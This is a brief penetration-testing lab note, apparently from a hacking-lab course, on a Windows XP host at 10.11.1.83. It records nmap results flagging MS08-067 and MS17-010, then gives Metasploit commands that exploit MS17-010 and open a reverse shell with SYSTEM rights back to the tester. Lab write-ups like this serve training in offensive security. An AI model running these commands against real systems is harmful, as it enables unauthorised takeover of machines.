John — VHL (10.11.1.83)

Port Enumeration (10.11.1.83)

$135/tcp open  msrpc
$139/445 open  smb   Windows XP (JOHN-0C01A0642D)

nmap --script smb-vuln* flags the host VULNERABLE to both MS08-067 (CVE-2008-4250) and MS17-010 (CVE-2017-0143).

Foothold: MS17-010 / MS08-067 -> SYSTEM

Either SMB RCE gives SYSTEM on this legacy Windows XP host:

$msfconsole -q
$use exploit/windows/smb/ms17_010_psexec
$setg RHOSTS 10.11.1.83
$set LHOST tun0 ; set LPORT 1337 ; run   # -> SYSTEM
$# (alternatively use exploit/windows/smb/ms08_067_netapi)